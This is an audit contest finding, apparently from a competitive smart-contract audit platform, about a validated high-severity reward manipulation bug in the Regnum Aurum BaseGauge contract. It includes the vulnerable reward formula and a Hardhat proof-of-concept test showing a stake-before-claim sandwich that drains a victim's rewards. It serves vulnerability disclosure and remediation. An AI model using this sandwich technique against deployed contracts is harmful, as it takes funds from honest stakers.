Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Reward manipulation through stake/unstake sandwich attack in `BaseGauge` can lead to loss of rewards for other users

Summary

A malicious user can manipulate the rewardPerToken value by sandwiching other users' reward claims with large stake/unstake actions, causing victims to lose rewards

Vulnerability Details

The earned() function calculates rewards based on the current rewardPerToken value and the user's weight. The issue lies in how rewardPerToken is calculated in getRewardPerToken():

function getRewardPerToken() public view returns (uint256) {
if (totalSupply() == 0) {
return rewardPerTokenStored;
}
return rewardPerTokenStored + (
@> (lastTimeRewardApplicable() - lastUpdateTime) * rewardRate * 1e18 / totalSupply()
);
}

An attacker can:

  • Stake a large amount just before a victim claims

  • Let the victim claim with a diluted rewardPerToken value

  • Immediately unstake and claim their own rewards

Impact

Users can permanently lose their rightful rewards due to manipulation of the rewardPerToken calculation.

The impact is HIGH because:

  • Direct loss of funds (rewards) for users

  • Attack is profitable for malicious actors

  • Core reward distribution mechanism is compromised

Tools Used

Manual review

Proof of Concept

First a bug in the BaseGauge::constructor() function need to be fixed, as this cause overflow in the calculations due to a incorrect assignment of boostState.minBoost:

- boostState.minBoost = 1e18;
+ boostState.minBoost = 10000;

Add the following test case to the test/unit/core/governance/gauges/GaugeController.test.js file:

it("reward theft through sandwich attack", async () => {
// mint reward token to gauge to be able to distribute rewards
await rewardToken.mint(rwaGauge.target, ethers.parseEther("100000000000000000000"));
// mint veRAAC token to user to be able to stake and vote
await veRAACToken.mint(user1.address, ethers.parseEther("2000"));
// mint veRAAC token to user2 to be able to claim rewards without staking
await veRAACToken.mint(user2.address, ethers.parseEther("2000"));
// User1 vote for rwa gauge
await gaugeController.connect(user1).vote(await rwaGauge.getAddress(), 5000);
// User1 stake
await veRAACToken.connect(user1).approve(rwaGauge.target, ethers.parseEther("1000"));
await rwaGauge.connect(user1).stake(ethers.parseEther("1000"));
// User2 stake
await veRAACToken.connect(user2).approve(rwaGauge.target, ethers.parseEther("1000"));
await rwaGauge.connect(user2).stake(ethers.parseEther("1000"));
// Rewards distribution
await gaugeController.distributeRewards(rwaGauge.target);
// advance time to the end of the period
const rwaGaugeDuration = await rwaGauge.getPeriodDuration();
await time.increase(rwaGaugeDuration);
const earnedUser1 = await rwaGauge.earned(user1.address);
const earnedUser2 = await rwaGauge.earned(user2.address);
expect(earnedUser1).to.be.gt(0);
expect(earnedUser2).to.be.gt(0);
// User2 accumulated the same amount of rewards that User1 has
expect(earnedUser2).to.be.equal(earnedUser1);
// User1 sends transaction to claim rewards into mem pool
// User2 attacks
// First: get a lot of veRAAC tokens
const veRAACAttackAmount = ethers.parseEther("100000000");
await veRAACToken.mint(user2.address, veRAACAttackAmount);
// Second: stake veRAAC tokens to rwa gauge
await veRAACToken.connect(user2).approve(rwaGauge.target, veRAACAttackAmount);
await rwaGauge.connect(user2).stake(veRAACAttackAmount);
// User1 now has less rewards
const earnedUser1AfterAttack = await rwaGauge.earned(user1.address);
expect(earnedUser1AfterAttack).to.be.lt(earnedUser1);
// User2 has now more rewards
const earnedUser2AfterAttack = await rwaGauge.earned(user2.address);
expect(earnedUser2AfterAttack).to.be.gt(earnedUser2);
// Balances before claims
const balanceUser1BeforeClaim = await rewardToken.balanceOf(user1.address);
const balanceUser2BeforeClaim = await rewardToken.balanceOf(user2.address);
expect(balanceUser1BeforeClaim).to.be.equal(0);
expect(balanceUser2BeforeClaim).to.be.equal(0);
// User1 claims rewards
await rwaGauge.connect(user1).getReward();
// User2 claims rewards
await rwaGauge.connect(user2).getReward();
// User2 withdraw staked veRAAC tokens
await rwaGauge.connect(user2).withdraw(veRAACAttackAmount);
// Balances after claims
const balanceUser1AfterClaim = await rewardToken.balanceOf(user1.address);
const balanceUser2AfterClaim = await rewardToken.balanceOf(user2.address);
expect(balanceUser1AfterClaim).to.be.lt(balanceUser1BeforeClaim + earnedUser1);
expect(balanceUser1AfterClaim).to.be.equal(balanceUser1BeforeClaim + earnedUser1AfterAttack);
expect(balanceUser2AfterClaim).to.be.gt(balanceUser2BeforeClaim + earnedUser2);
expect(balanceUser2AfterClaim).to.be.equal(balanceUser2BeforeClaim + earnedUser2AfterAttack);
});

Recommendations

Implement a reward calculation mechanism that is resistant to short-term stake/unstake manipulations like a minimum stake duration.

Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BaseGauge reward system can be gamed through repeated stake/withdraw cycles without minimum staking periods, allowing users to earn disproportionate rewards vs long-term stakers

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BaseGauge reward system can be gamed through repeated stake/withdraw cycles without minimum staking periods, allowing users to earn disproportionate rewards vs long-term stakers

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.